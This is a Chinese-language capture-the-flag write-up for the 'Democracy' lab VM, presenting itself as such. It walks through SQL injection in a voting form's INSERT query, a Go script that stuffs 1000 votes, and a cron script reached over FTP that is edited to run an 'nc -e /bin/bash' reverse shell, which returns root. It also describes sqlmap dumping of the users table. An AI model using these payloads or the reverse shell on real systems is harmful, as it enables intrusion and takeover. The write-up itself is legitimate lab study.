写在最前:

这个靶机没有提权的地方

但是这个靶机的SQL注入点是我之前从来没见过的。

靶机: Democracy

下载页面

信息收集

主机发现

image-20250918190137156

192.168.56.157即为目标ip

端口扫描

image-20250918190214280

只开放了2280两个端口

80端口

image-20250918190355316

大致是一个投票系统

共和党民主党候选人投票

点击去投票就会跳转到登录页面

image-20250918190816820

如果没有账户可以注册一个

image-20250918190836323

登录与注册页面进行测试没有发现SQL注入漏洞

登录进去之后

image-20250918190923330

有三个功能 分别是 投票, 查看结果, 重置投票

每个账户只能投票一次

点击重置投票之后 投票信息就会清零 重新进行投票

坑点

每当你成功投票一次的时候

下次再去测试投票功能点的时候就要先进行一次重置投票操作

不然这无法得到想要的回显

対这三个功能点抓个包

投票数据包, 以POST方式传递了一个数据

image-20250918191458319

在传递的数据后面加一个单引号'

image-20250918191855200

报错了。

加俩单引号'就成功投票,且没有报错

image-20250918191919791

但是当在后面加上' -- a的时候

页面仍然报错。

按道理来说-- 将后面的独立引号给闭合掉了。不应该会有报错了

image-20250918192137502

在后面用')--+a'又没报错了

image-20250918192259493

所以数据闭合方式是')

在后面用') or 1=1 -- a来测试是报错

image-20250918192511203

报错给了GPT问了一下

image-20250918192913264

他给了我举一个insert语法的例子

突然间反映过来了

它的计票方式有可能是insert table (候选人,票数) values (<候选人>,1)类似这种方式存储票数

所以我就构造了一个这样子的payloaddemocrat',10000)--+1' 企图直接投10000票

image-20250918193243801

不过他又给报错

这次的报错显示的是列数不一样

那他可能就是类似这样的形式insert table (票数,候选人) values (1,<候选人>)票数在前

那么就无法直接修改票数了

我然后我又试了这样一个payloaddemocrat'),(100000,'democrat');+--+1

我这样做的想法是想要看看能不能让第二条数据覆盖第一条数据

image-20250918193627182

然后我去查了一下票数

image-20250918193716419

这时候票数显示的是2

我也没有用第二个账户去投票。也只投了一次 这里竟然是两票。

所以当时就再现他统计票数的方法可能是select count(*) from table where 候选人=某某某

为了验证我的想法

我将payload修改成democrat'),(100000,'democrat'),(100000,'republican');+--+1之后又投了一次。

预期的结果应该是 democrat 2票 republican1票

结果正如预期那般

image-20250918194029588

再回到网站首页

image-20250918194114910

民主党候选人是支持开放共享数字数据和FTP服务器

获取让它胜出会有不一样的变化

同样也说明了获胜的条件。就是获得1000票

所以就用刚才那个方法 给民主党人投1000票看看

这里是我写的一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package main

import (
"fmt"
"io"
"net/http"
"net/url"
"strings"
)

func main() {
values := url.Values{}
values.Set("candidate", "democrat'),"+strings.Repeat("(100000,'democrat'),", 999)+"(1,'democrat'); -- 1")
fmt.Println("democrat')," + strings.Repeat("(100000,'democrat'),", 999) + "(1,'democrat'); -- 1")
request, err := http.NewRequest("POST", "http://192.168.56.156/vote.php", strings.NewReader(values.Encode()))
if err != nil {
panic(err)
}
defer request.Body.Close()
request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
request.Header.Add("Cookie", "PHPSESSID=t1af4rtk9t92n6hf29qs5jhlui")
response, err := http.DefaultClient.Do(request)
if err != nil {
panic(err)
}
defer response.Body.Close()
fmt.Println("response Status:", response.Status)
all, _ := io.ReadAll(response.Body)
fmt.Println("response Body:", string(all))
}

用脚本进行一次投票

image-20250918194420154

再来查询票数Democrat的票数就变成了1001

image-20250918194449501

再返回网站页面 点击查看票数按钮就会跳转

开启系统页面

image-20250918194541245

或许这个过程就是在开启竞选宣言中的ftp服务

在对其进行一次端口扫描

这个时候就会发现多开了一个21ftp端口

image-20250918194658493

Getshell

lftp连接上去lftp 192.168.56.157

image-20250918194808209

只有一个votes文件

并且我们对它有所有权限

拿下来看一下

image-20250918194901645

是一个定时任务脚本。

同样里面的sql语句也正好印证了 对票数统计系统的逻辑猜想

既然对votes有所有权限

那么在他下面加上一个反弹shell的语句就行了

将它原本的nc -e /bin/bash 192.168.0.29 4444反弹shell语句 改成我们自己的ip与端口然后再上传上去就行了

传上去之后 监听我们自己的端口就行了

image-20250918195214137

但是他这个弹上来之后就是root权限。。。。

其他人sql解法

在做完之后我又去看了一眼其他人的解法

他们大多人的做法是

使用sqlmap在注入点将数据注出来。 不过在这个过程中需要一直访问重置票数接口

将数据包拿出来放到一个sql.txt中

image-20250918195637368

另开一个终端执行

1
2
3
4
5
6
while true; do \
curl -sS -X POST 'http://192.168.56.157/vote.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'PHPSESSID=6h1bqhf7cj5gg1bl05pjvp19kr' \
--data 'reset=1' --compressed; \
done

不断访问重置密码接口

然后另一个终端执行

1
sudo sqlmap -r sql.txt --batch --dbs 

跑库名

image-20250918200228885

跑表名

1
sudo sqlmap -r sql.txt --batch -D voting --tables

image-20250918200312747

跑数据

1
sudo sqlmap -r sql.txt --batch -D voting -T users --dump

image-20250918200436834

用户表中有1k多个用户

全部拿下来之后

批量使用这些账号去投票

这种方法稍麻烦些。